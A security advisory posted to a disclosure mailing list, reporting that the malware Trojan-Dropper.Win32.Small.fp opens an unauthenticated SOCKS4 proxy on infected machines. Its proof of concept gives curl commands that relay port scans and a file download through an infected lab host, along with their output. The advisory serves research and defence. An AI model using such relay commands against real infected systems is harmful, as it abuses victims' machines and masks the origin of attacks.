full-disclosure - [FD] Trojan-Dropper.Win32.Small.fp / Unauthenticated Open Proxy

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Message-ID: <CAAHK0WQm+aHAwCOxaAW+S2QxuyxKOEvbuPU8MnpzOp+X0NbLuA@mail.gmail.com>
Date: Thu, 5 Aug 2021 17:19:42 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Trojan-Dropper.Win32.Small.fp / Unauthenticated Open Proxy

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/07122dd3b069bbbb445e060c1249d5a2.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Small.fp
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on random TCP ports like 2904, 1200 etc.
Third-party attackers who can connect to the infected system can relay
requests from the original connection to the destination and then back to
the origination system. Attackers may then be able to launch attacks,
download files or port scan third party systems and it will appear as the
attacks originated from that infected host.
Type: PE32
MD5: 07122dd3b069bbbb445e060c1249d5a2
Vuln ID: MVID-2021-0312
Dropped files: scchostc.exe, scchost.exe
Disclosure: 08/05/2021

Exploit/PoC:
Scan Ports)

curl -x socks4://192.168.18.129:2904 http://192.168.18.128:21
220 INetSim FTP Service ready.
500 Unknown command.
500 Unknown command.

curl -x socks4://192.168.18.129:2904 http://192.168.18.128:110
+OK INetSim POP3 Server ready <16402.1628127039@...3host>
-ERR Unknown command.
-ERR Unknown command.

Download filez)

curl -x socks4://192.168.18.129:2904 http://192.168.18.128/DOOM.exe --out
DOOM2.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
 Current
                                 Dload  Upload   Total   Spent    Left
 Speed
100  101k  100  101k    0     0   101k      0  0:00:01 --:--:--  0:00:01
1279k

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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